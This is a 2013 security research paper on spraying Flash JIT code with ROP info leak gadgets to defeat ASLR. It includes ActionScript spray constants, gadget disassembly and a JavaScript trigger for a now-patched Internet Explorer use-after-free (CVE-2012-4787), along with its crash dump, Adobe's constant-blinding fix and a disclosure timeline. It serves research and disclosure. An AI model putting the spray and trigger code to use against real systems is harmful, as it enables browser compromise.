Flash JIT – Spraying info leak gadgets

Author: Fermin J. Serna - fjserna@gmail.com - @fjserna
URL: http://zhodiac.hispahack.com/my-stuff/security/Flash_Jit_InfoLeak_Gadgets.pdf
PoC: http://zhodiac.hispahack.com/my-stuff/security/Flash_Jit_InfoLeak_Gadgets/
Date: 19/Jul/2013

Introduction

It should not be a surprise to anyone in the security (exploitation/mitigation concretely) field that a JIT compiler without constant blinding, but even with other mitigations (random NOP like instruction insertion, constant folding, etc), could potentially be abused. We are in mid-2013 and Adobe just finally mitigated this technique as of 11.8 Flash version (confirmed). Older versions may still be used for ASLR bypass.

This document will present a new, and just mitigated, technique to leverage the JIT-ed code to serve as an info leaker and therefore bypass the security mitigation ASLR. As a proof of concept, a Windows 7 & IE 9 exploit will be presented taking advantage of this technique with a vulnerability (CVE-2012-4787 [reference 1]) already patched in December/2012 as part of MS12-077 [reference 2].

It is very likely this technique has been known and used before. Concretely, the author suspects Vupen may have used this technique, or a close variation, at their Flash exploit for pwn2own 2013.

Old JIT spraying techniques

Shellcode JIT spraying

Back in 2010 a new technique [reference 3] to evade DEP and ASLR was uncovered at Blackhat DC by Dionysus Blazakis. The technique consisted in enticing the JIT compiler to generate attacker controlled code.

For example, after JIT-ing:

```
0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ …
```

Is turned into:

```
B8 9090903C     MOV EAX,3C909090
35 9090903C     XOR EAX,3C909090
35 9090903C     XOR EAX,3C909090
35 9090903C     XOR EAX,3C909090
35 9090903C     XOR EAX,3C909090
35 9090903C     XOR EAX,3C909090
```

An attacker could spray thousands of functions with that Actionscript code effectively spraying the entire virtual space.

Later on, once the attacker controls EIP, using another vulnerability, he could carefully point it to the middle of any of those instructions. Disassembling from the landing point leads to the following code (please note highlighted part is where the attackers could place their shellcode).

```
0c0c0c3c 90              nop
0c0c0c3d 90              nop
0c0c0c3e 90              nop
0c0c0c3f 3c35            cmp al,35
0c0c0c41 90              nop
0c0c0c42 90              nop
0c0c0c43 90              nop
0c0c0c44 3c35            cmp al,35
0c0c0c46 90              nop
0c0c0c47 90              nop
0c0c0c48 90              nop
0c0c0c49 3c35            cmp al,35
```

Adobe quickly reacted and as of Flash 10.1 they use a technique at compilation time called constant folding. Essentially, at compilation time computes the value of arithmetic operations where the compiler knows the value of both operands.

Shellcode JIT spraying reloaded

Fast forward to August 2011, Ming-chieh Pan and Sung-ting Tsai presented at Blackhat Las Vegas a bypass of the constant folding mitigation [reference 4].

These security researchers found a way where constant folding will directly not happen leaving the JIT code attacker controlled again. Constant folding will not happen with the following Actionscript code:

```
0x3c909090 IN 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ ...
```

This is because the IN operator is not an arithmetic one and the compiler does not know how to calculate the final value of the variable.

Adobe again, reacted quickly and it was in November 2011 when they implemented another mitigation. When generating JIT code they will insert random “NOP like” instructions breaking the JIT spraying shellcodes that were relying in the CMP AL, trick and constant 2 byte of uncontrolled code.

```
0c0c0f94 0d9090903c      or      eax,3C909090h
0c0c0f99 0d9090903c      or      eax,3C909090h
0c0c0f9e 0d9090903c      or      eax,3C909090h
0c0c0fa3 8bc9            mov     ecx,ecx
0c0c0fa5 0d9090903c      or      eax,3C909090h
0c0c0faa 0d9090903c      or      eax,3C909090h
0c0c0faf 0d9090903c      or      eax,3C909090h
0c0c0fb4 0d9090903c      or      eax,3C909090h
0c0c0fb9 0d9090903c      or      eax,3C909090h
```

or

```
0c0c172d 0d9090903c      or      eax,3C909090h
0c0c1732 0d9090903c      or      eax,3C909090h
0c0c1737 0d9090903c      or      eax,3C909090h
0c0c173c 8d2424          lea     esp,[esp]
0c0c173f 0d9090903c      or      eax,3C909090h
0c0c1744 0d9090903c      or      eax,3C909090h
0c0c1749 0d9090903c      or      eax,3C909090h
```

Note that the insertion of these instructions effectively breaks large JIT shellcodes used at that time.

The new (and patched) JIT spraying technique, info leak gadgets

The following technique has been mitigated as per Flash version 11.8. Older versions are still vulnerable.

With the known techniques and current state of Flash JIT security mitigations in place, attackers could not reliably use JIT spraying in Flash for bypassing DEP. This is mainly because of the random NOP like instructions that are inserted at the JITed code. Chances of having our large JIT-ed shellcode and no NOP like instruction in between are low.

The main idea behind this technique is to spray ROP info leak gadgets. Small enough that the chances of having a NOP like instruction in between are low. The attacker will exploit another vulnerability and return to the JIT NOP sled that prepends the ROP gadget.

The executed ROP gadget will leak an address to the heap spray by executing the following instructions:

- Pop an address from the stack (return address once the JITed code gets executed)
- Push it not to alter the flow of execution
- Store it at our heap spray (fixed address or relative to a register).
- Clean up so the program does not crash (CoE - Continue of Execution)
- Return the flow of execution to the attacked program

CoE is required so the attacker can read the leaked pointer (stored at the heap spray that needs to be readable somehow by the attacker) and perform the attack again once ASLR has been bypassed.

Chris Rolhf and Yan Ivnitskiy mentioned something similar to the below idea in a paper presented at Blackhat 2011 [reference 5]. They focused more on finding ROP gadgets (gaJITs) rather than generating them. Additionally there was no public release of his tool and no mention to info leak gadgets. It may be possible that they were using this idea but the author of this paper could not confirm it.

In the below example there are three assumptions:

- ECX points to a controlled and readable chunk of memory
- The vulnerability used (use after free) does not crash with an access violation if return value is zero. This is why we set EAX's value to zero.

- The virtual function we used at the use after free pushes 4 arguments to the stack. This is the reason for retn 10h so we leave the stack intact and perform the continue of execution (CoE).

With the above three assumptions the following 3 DWORDs that will do the trick:

```
588901   -- pop eax; mov [ecx],eax
5033C0   -- push eax; xor eax, eax
C21000   -- retn 0x10
```

ActionScript code:

```
0x3C909090 IN 0x3C909090 | 0x3C909090 | 0x3C909090 | 0x3C909090 | 0x3C909090
| 0x3C909090 | 0x3C909090 | 0x3C909090 | 0x3C909090 | 0x3C018958 | 0x3CC03350
| 0x3C0010C2
```

JITed code that will leak the address to our heap spray:

```
0c0c0c3a 3c0d            cmp     al,0Dh
0c0c0c3c 90              nop
0c0c0c3d 90              nop
0c0c0c3e 90              nop
0c0c0c3f 3c0d            cmp     al,0Dh
0c0c0c41 90              nop
0c0c0c42 90              nop
0c0c0c43 90              nop
0c0c0c44 3c0d            cmp     al,0Dh
0c0c0c46 58              pop     eax
0c0c0c47 8901            mov     dword ptr [ecx],eax
0c0c0c49 3c0d            cmp     al,0Dh
0c0c0c4b 50              push    eax
0c0c0c4c 33c0            xor     eax,eax
0c0c0c4e 3c0d            cmp     al,0Dh
0c0c0c50 c21000          ret     10h
0c0c0c53 3c0d            cmp     al,0Dh
```

```
0c0c0c55 90              nop
0c0c0c56 90              nop
0c0c0c57 90              nop
0c0c0c58 3c0d            cmp     al,0Dh
0c0c0c5a 90              nop
```

The vulnerability

A use after free condition can be triggered in Internet Explorer 9/10 by just visiting a web page.

The root cause of this vulnerability is a ref counting problem. When adding an object to the style attributes array, Internet Explorer does not increase the ref count of the added object. Apparently it is only expecting strings and numbers :)

This vulnerability was fixed by Microsoft as part of MS12-077 (CVE-2012-4787) on December 11th 2012.

The following piece of code was the one submitted to MSFT.

```
<html>
 <head id="x">
     <title></title>
     <script language="JavaScript">

var obj_size=0x30;
var vault=new Array();
var num_obj=10000;
var str;

function escape(num) {

  num=num+0x100000000;
  var str=num.toString(16);
  eval("ret=\"\\u"+str.substring(5,9)+"\\u"+str.substring(1,5)+"\";");
  return ret;

}

function run() {
```

```
  var counter;
  var str=escape(0x41414141);

  while (str.length < obj_size) str=str+str;
  str=str.substr(0,(obj_size-2)/2);

  // Pre-create the objects so we do not perform heap allocations
  // later on that could grab our freed chunk
  for (counter=0;counter<num_obj;counter++) {
     vault.push(document.createElement("div"));
  }

  var target=document.getElementById("x");

  // Vuln here!!!!!
  // I guess they were only expecting numbers and strings
  // and not Addref()ing if an object was supplied
  target.lastChild.style.x=document.createElement("br");
  target.parentNode.removeChild(target);

  CollectGarbage();

  // Grab the freed chunk
  for (counter=0;counter<num_obj;counter++) {
     vault[counter].setAttribute("title",str);
  }

  // Trigger the usage of the stale pointer
  target.outerHTML;

  window.setTimeout("keep_spray()",100*1000);

}

function keep_spray() {

  for (counter=0;counter<vault.length;counter++) {
     if (vault[counter]==null) alert("blah");
  }

}

     </script>
 </head>
```

```
 <body onload="javascript: run();">
 </body>
</html>
```

And generates the following crash with EIP almost controlled (heap spray needed):

```
1:022> r
eax=04043ed8 ebx=00000000 ecx=41414141 edx=0240c404 esi=00000000 edi=0240c434
eip=77e943e3 esp=0240c3d8 ebp=0240c414 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
OLEAUT32!ExtractValueProperty+0x3c:
77e943e3 ff5118     call dword ptr [ecx+18h] ds:0023:41414159=????????
1:022> ub eip
OLEAUT32!ExtractValueProperty+0x28:
77e943cf 0c89            or      al,89h
77e943d1 75f8            jne     OLEAUT32!ExtractValueProperty+0x24
(77e943cb)
77e943d3 683006e777      push    offset OLEAUT32!GUID_NULL (77e70630)
77e943d8 56              push    esi
77e943d9 50              push    eax
77e943da 8975f0          mov     dword ptr [ebp-10h],esi
77e943dd 8975fc          mov     dword ptr [ebp-4],esi
77e943e0 8975f4          mov     dword ptr [ebp-0Ch],esi
1:022> u eip
OLEAUT32!ExtractValueProperty+0x3c:
77e943e3 ff5118          call    dword ptr [ecx+18h]
77e943e6 3bc6            cmp     eax,esi
77e943e8 7d06            jge     OLEAUT32!ExtractValueProperty+0x43
(77e943f0)
77e943ea 5f              pop     edi
77e943eb 5e              pop     esi
77e943ec c9              leave
77e943ed c20c00          ret     0Ch
77e943f0 66833f09        cmp     word ptr [edi],9
1:022> kPn
 # ChildEBP RetAddr
00 0240c414 77e94392 OLEAUT32!ExtractValueProperty+0x3c
```

```
01 0240c464 69963042 OLEAUT32!VariantChangeTypeEx+0x10e
02 0240c4d8 699657cc MSHTML!CAttrValue::GetIntoString+0x195
03 0240c504 69a719e5 MSHTML!AppendStyleExpando+0x76
04 0240c5a4 69ab2fb0 MSHTML!WriteStyleToBSTR+0x11a9
05 0240c608 69aaf06e MSHTML!PROPERTYDESC::HandleStyleProperty+0x519
06 0240c624 69aaef96 MSHTML!PROPERTYDESC::HandleSaveToHTMLStream+0x40
07 0240c694 69a67a8b MSHTML!CElement::SaveAttributesHTML+0x538
08 0240c6c4 69a6790e MSHTML!CElement::WriteTagHTML+0x212
09 0240c6f0 698eb0ba MSHTML!CElement::SaveAsHTML+0x8c
0a 0240c70c 69a75fba MSHTML!CScriptElement::SaveAsHTML+0x61
0b 0240c72c 69a75ea3 MSHTML!CTreeSaver::SaveElement+0x33a
0c 0240c7f0 69a6e9a7 MSHTML!CTreeSaver::Save+0x5ba
0d 0240cea4 69965708 MSHTML!CElement::GetText+0x18d
0e 0240cec0 69c14a1c MSHTML!CElement::get_outerHTML+0x30
0f 0240cee8 69beab79 MSHTML!GS_PropEnum+0x7e
10 0240cf6c 69a7401c MSHTML!CBase::ContextInvokeEx+0x84c
11 0240cfa8 69af8664 MSHTML!CElement::VersionedInvokeEx+0x68
12 0240cfe8 6be0cbb7 MSHTML!CBase::PrivateInvokeEx+0x82
13 0240d030 6be0ce46 jscript9!HostDispatch::CallInvokeEx+0x106
```

The exploit

Full working Win7/IE9 exploit (html + swf files) using this info leak technique is available at:
http://zhodiac.hispahack.com/my-stuff/security/Flash_Jit_InfoLeak_Gadgets/

Adobe's fix

In order to mitigate this new technique Adobe implemented constant blinding with a similar approach as v8 javascript engine adopted long time ago.

v8 implements constant blinding [reference 6] on user supplied integers, that will later be used for assignments or as function arguments, by XORing the value with a random cookie generated at runtime.

```
void MacroAssembler::SafeSet(Register dst, const Immediate& x) {
  if (IsUnsafeImmediate(x) && jit_cookie() != 0) {
    Set(dst, Immediate(x.x_ ^ jit_cookie()));
```

```
    xor_(dst, jit_cookie());
  } else {
    Set(dst, x);
  }
}


void MacroAssembler::SafePush(const Immediate& x) {
  if (IsUnsafeImmediate(x) && jit_cookie() != 0) {
    push(Immediate(x.x_ ^ jit_cookie()));
    xor_(Operand(esp, 0), Immediate(jit_cookie()));
  } else {
    push(x);
  }
}
```

Adobes JIT-ed code implementing constant blinding as of Flash 11.8:

```
0c0c0565 8bff            mov     edi,edi
0c0c0567 0d90000034      or      eax,34000090h
0c0c056c 0d00909008      or      eax,8909000h
0c0c0571 0d90000034      or      eax,34000090h
0c0c0576 0d00909008      or      eax,8909000h
0c0c057b 0d90000034      or      eax,34000090h
0c0c0580 0d00909008      or      eax,8909000h
0c0c0585 0d90000034      or      eax,34000090h
0c0c058a 0d00909008      or      eax,8909000h
0c0c058f 0d90000034      or      eax,34000090h
```

Timeline

05-Nov-2012 - Email sent to secure@microsot.com reporting the IE10/IE9 vulnerability that gets used as a proof of concept in this paper
05-Nov-2012 - secure@microsoft.com acknowledges receipt of the report and assigns MSRC case id 13209wp
07-Nov-2012 - Email sent to psirt@adobe.com with an initial draft of this document (The IE vulnerability and exploit was NOT shared)

07-Nov-2012 - psirt@adobe.com acknowledges receipt of the document and thanks the author for the heads up
08-Nov-2012 - secure@microsoft.com confirms exploitability of the IE vulnerability and the future release of a security bulletin addressing it
30-Nov-2012 - secure@microsoft.com informs this vulnerability will be addressed with the upcoming December security bulletin
11-Dec-2012 - Microsoft releases a security bulletin (MS12-077) along the fix for the IE vulnerability. CVE assigned: CVE-2012-4787
19-Jul-2013 – Author finds, without notification from Adobe, that this technique was mitigated as of 11.8 (probably as of an older version). This paper gets published

References

[1] http://technet.microsoft.com/en-us/security/bulletin/ms12-077 Microsoft. Retrieved 19/Jul/2013
[2] http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4787 Mitre. Retrieved 19/Jul/2013
[3] http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf Dion Blazakis. Retrieved 19/Jul/2013
[4] http://media.blackhat.com/bh-us-11/Tsai/BH_US_11_TsaiPan_Weapons_Targeted_Attack_Slides.pdf Ming-chieh Pan and Sung-ting Tsai. Retrieved 19/Jul/2013
[5] http://www.matasano.com/research/Attacking_Clientside_JIT_Compilers_Paper.pdf Chris Rohlf and Yan Ivnitskiy. Retrieved 19/Jul/2013
[6] https://code.google.com/p/v8/source/browse/branches/bleeding_edge/src/ia32/macro-assembler-ia32.cc v8 project. Retrieved 19/Jul/2013